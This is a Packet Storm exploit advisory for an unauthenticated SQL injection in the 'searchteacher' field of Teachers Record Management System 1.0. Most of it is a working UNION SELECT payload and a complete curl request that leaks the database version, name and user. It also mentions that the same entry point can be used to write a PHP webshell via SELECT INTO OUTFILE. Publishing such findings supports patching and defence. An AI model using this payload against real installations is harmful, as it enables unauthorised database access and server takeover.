Teachers Record Management System 1.0 SQL Injection

2020-07-14T00:00:00
ID PACKETSTORM:158417
Type packetstorm
Reporter gh1mau
Modified 2020-07-14T00:00:00

Description

                                        
                                            `# Exploit Title: Teachers Record Management System 1.0 - 'searchteacher' SQL Injection  
# Date: 2020-07-14  
# Exploit Author: gh1mau  
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/  
# Vendor Homepage: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10739  
# Version: v1.0  
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)  
  
  
Vulnerable File:  
----------------   
/search-teacher.php  
  
  
Vulnerable Code:  
-----------------  
line 73: $sdata=$_POST['searchteacher'];  
  
Vulnerable Issue:  
-----------------  
$sdata=$_POST['searchteacher']; is not filtered correcty  
  
[+] Any unauthenticated user can inject the following payload inside the Search y Subject Form  
[+] Attacker can inject php webshell using SELECT INTO OUTFILE method through this entry point  
[+] The result will be displayed as the image name or from the view-source line 115 : (Ex: <td><img src="admin/images/5.7.11:trms:root@localhost"   
height="100"></td>)  
  
  
POC:  
----  
  
Payload:  
  
gh1mau' UNION ALL SELECT NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&search=  
  
  
Sample Request:  
  
curl -i -s -k --location --request POST 'http://localhost:80/trms/search-teacher.php' \  
--header 'Origin: http://localhost' \  
--header 'Cookie: PHPSESSID=g0v05i144dnr9bud7j1mb6n167' \  
--header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \  
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' \  
--header 'Connection: close' \  
--header 'Referer: http://localhost/trms/' \  
--header 'Host: localhost' \  
--header 'Accept-Encoding: gzip, deflate' \  
--header 'Upgrade-Insecure-Requests: 1' \  
--header 'Accept-Language: en-US,en;q=0.5' \  
--header 'Content-Length: 193' \  
--header 'Content-Type: application/x-www-form-urlencoded' \  
--data-raw 'searchteacher=gh1mau%27+UNION+ALL+SELECT+NULL%2CNULL%2CCONCAT_WS%280x3a%2Cversion%28%29%2Cdatabase%28%29%2Cuser%28%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+-%26search%3D&search='  
`